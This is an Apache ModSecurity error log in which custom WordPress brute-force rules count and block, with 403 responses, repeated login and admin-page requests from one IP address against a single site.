[Sat Feb 28 01:56:42.500772 2026] [:error] [pid 15098:tid 15105] [client 5.189.134.86:54993] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHa2skFqny8dQQbmTkt_AAAAIA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:43.863655 2026] [:error] [pid 15100:tid 15174] [client 5.189.134.86:64563] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHa20OEbzcINan_ctLQogAAAE4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:45.132385 2026] [:error] [pid 38586:tid 38593] [client 5.189.134.86:64572] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHa3b_i6nvKNhjFW7VgZgAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:46.243932 2026] [:error] [pid 15098:tid 15106] [client 5.189.134.86:64921] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHa3skFqny8dQQbmTkt_wAAAIE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:47.350483 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:64921] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa37_i6nvKNhjFW7VgcAAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:47.350536 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:64921] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa37_i6nvKNhjFW7VgcAAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:49.912789 2026] [:error] [pid 15100:tid 15177] [client 5.189.134.86:64921] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa4UOEbzcINan_ctLQrAAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:51.944887 2026] [:error] [pid 15100:tid 15177] [client 5.189.134.86:64921] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa40OEbzcINan_ctLQrwAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:51.944934 2026] [:error] [pid 15100:tid 15177] [client 5.189.134.86:64921] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa40OEbzcINan_ctLQrwAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:53.047172 2026] [:error] [pid 38620:tid 38627] [client 5.189.134.86:64921] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHa5QP6I7SRqrhh7Rou_AAAAUU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:54.175471 2026] [:error] [pid 15100:tid 15166] [client 5.189.134.86:61410] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHa5kOEbzcINan_ctLQswAAAEY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:55.484610 2026] [:error] [pid 15240:tid 15245] [client 5.189.134.86:56150] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHa5y1iKL_41Rk9A9OMmQAAAAM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:56.883444 2026] [:error] [pid 38620:tid 38642] [client 5.189.134.86:49765] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHa6AP6I7SRqrhh7RovCAAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:58.149834 2026] [:error] [pid 38620:tid 38633] [client 5.189.134.86:63080] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa6gP6I7SRqrhh7RovDAAAAUs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:56:58.149915 2026] [:error] [pid 38620:tid 38633] [client 5.189.134.86:63080] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa6gP6I7SRqrhh7RovDAAAAUs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:00.979429 2026] [:error] [pid 15099:tid 15150] [client 5.189.134.86:60101] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa7OnvP2vtPjYDq_hAcQAAANE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:02.391302 2026] [:error] [pid 15099:tid 15151] [client 5.189.134.86:60101] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa7unvP2vtPjYDq_hAcgAAANI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:05.232563 2026] [:error] [pid 15099:tid 15135] [client 5.189.134.86:60101] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa8envP2vtPjYDq_hAdgAAAMI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:06.565874 2026] [:error] [pid 15099:tid 15141] [client 5.189.134.86:60101] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa8unvP2vtPjYDq_hAdwAAAMg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:06.565922 2026] [:error] [pid 15099:tid 15141] [client 5.189.134.86:60101] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa8unvP2vtPjYDq_hAdwAAAMg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:07.685801 2026] [:error] [pid 15098:tid 15117] [client 5.189.134.86:53494] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHa88kFqny8dQQbmTkuFwAAAIs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:08.964343 2026] [:error] [pid 38620:tid 38638] [client 5.189.134.86:54459] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHa9AP6I7SRqrhh7RovKAAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:10.784404 2026] [:error] [pid 15240:tid 15247] [client 5.189.134.86:51152] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHa9i1iKL_41Rk9A9OMqgAAAAU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:12.093838 2026] [:error] [pid 15240:tid 15248] [client 5.189.134.86:51152] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHa-C1iKL_41Rk9A9OMqwAAAAY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:13.461763 2026] [:error] [pid 15099:tid 15151] [client 5.189.134.86:63581] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa-envP2vtPjYDq_hAhwAAANI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:14.899683 2026] [:error] [pid 15099:tid 15156] [client 5.189.134.86:63581] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHa-unvP2vtPjYDq_hAiAAAANc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:16.052797 2026] [:error] [pid 15240:tid 15258] [client 5.189.134.86:52033] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHa_C1iKL_41Rk9A9OMuQAAABA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:17.364159 2026] [:error] [pid 38620:tid 38632] [client 5.189.134.86:54072] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHa_QP6I7SRqrhh7RovOQAAAUo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:18.515586 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:55553] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHa_gP6I7SRqrhh7RovPwAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:19.879854 2026] [:error] [pid 38620:tid 38625] [client 5.189.134.86:53442] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa_wP6I7SRqrhh7RovRgAAAUM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:19.879932 2026] [:error] [pid 38620:tid 38625] [client 5.189.134.86:53442] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHa_wP6I7SRqrhh7RovRgAAAUM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:22.551827 2026] [:error] [pid 38586:tid 38597] [client 5.189.134.86:63476] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbAr_i6nvKNhjFW7Vg3QAAAQg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:23.855745 2026] [:error] [pid 38586:tid 38592] [client 5.189.134.86:63476] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbA7_i6nvKNhjFW7Vg4QAAAQM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:26.672318 2026] [:error] [pid 38586:tid 38610] [client 5.189.134.86:63476] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbBr_i6nvKNhjFW7Vg6gAAARU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:27.995154 2026] [:error] [pid 38586:tid 38612] [client 5.189.134.86:63476] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbB7_i6nvKNhjFW7Vg7QAAARc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:30.781878 2026] [:error] [pid 38586:tid 38601] [client 5.189.134.86:63476] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbCr_i6nvKNhjFW7Vg_QAAAQw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:30.781963 2026] [:error] [pid 38586:tid 38601] [client 5.189.134.86:63476] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbCr_i6nvKNhjFW7Vg_QAAAQw"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:32.068088 2026] [:error] [pid 15098:tid 15129] [client 5.189.134.86:63476] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHbDMkFqny8dQQbmTkuNAAAAJc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:33.375016 2026] [:error] [pid 38620:tid 38629] [client 5.189.134.86:60783] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHbDQP6I7SRqrhh7RovZgAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:34.504437 2026] [:error] [pid 38620:tid 38632] [client 5.189.134.86:57524] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHbDgP6I7SRqrhh7RovcAAAAUo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:35.876011 2026] [:error] [pid 15100:tid 15166] [client 5.189.134.86:54832] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbD0OEbzcINan_ctLQ2gAAAEY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:38.763710 2026] [:error] [pid 15100:tid 15161] [client 5.189.134.86:54832] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbEkOEbzcINan_ctLQ4QAAAEE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:40.066800 2026] [:error] [pid 15100:tid 15183] [client 5.189.134.86:54832] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbFEOEbzcINan_ctLQ4gAAAFc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:42.862386 2026] [:error] [pid 15100:tid 15162] [client 5.189.134.86:54832] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbFkOEbzcINan_ctLQ5QAAAEI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:44.230298 2026] [:error] [pid 15100:tid 15179] [client 5.189.134.86:54832] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbGEOEbzcINan_ctLQ5wAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:47.115257 2026] [:error] [pid 15100:tid 15169] [client 5.189.134.86:54832] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbG0OEbzcINan_ctLQ7QAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:48.631279 2026] [:error] [pid 15100:tid 15184] [client 5.189.134.86:54832] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbHEOEbzcINan_ctLQ7gAAAFg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:51.495405 2026] [:error] [pid 15100:tid 15161] [client 5.189.134.86:54832] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbH0OEbzcINan_ctLQ9AAAAEE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:52.817995 2026] [:error] [pid 15100:tid 15160] [client 5.189.134.86:54832] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbIEOEbzcINan_ctLQ9QAAAEA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:52.818051 2026] [:error] [pid 15100:tid 15160] [client 5.189.134.86:54832] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbIEOEbzcINan_ctLQ9QAAAEA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:55.601487 2026] [:error] [pid 38620:tid 38643] [client 5.189.134.86:64378] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbIwP6I7SRqrhh7RovwAAAAVU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:56.935833 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:64378] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbJAP6I7SRqrhh7RovwwAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:57:59.683528 2026] [:error] [pid 38620:tid 38627] [client 5.189.134.86:64378] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbJwP6I7SRqrhh7RovxgAAAUU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:58:01.056625 2026] [:error] [pid 38620:tid 38624] [client 5.189.134.86:64378] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHbKQP6I7SRqrhh7RovyQAAAUI"], referer: https://gigfragments.org/wp-login.php
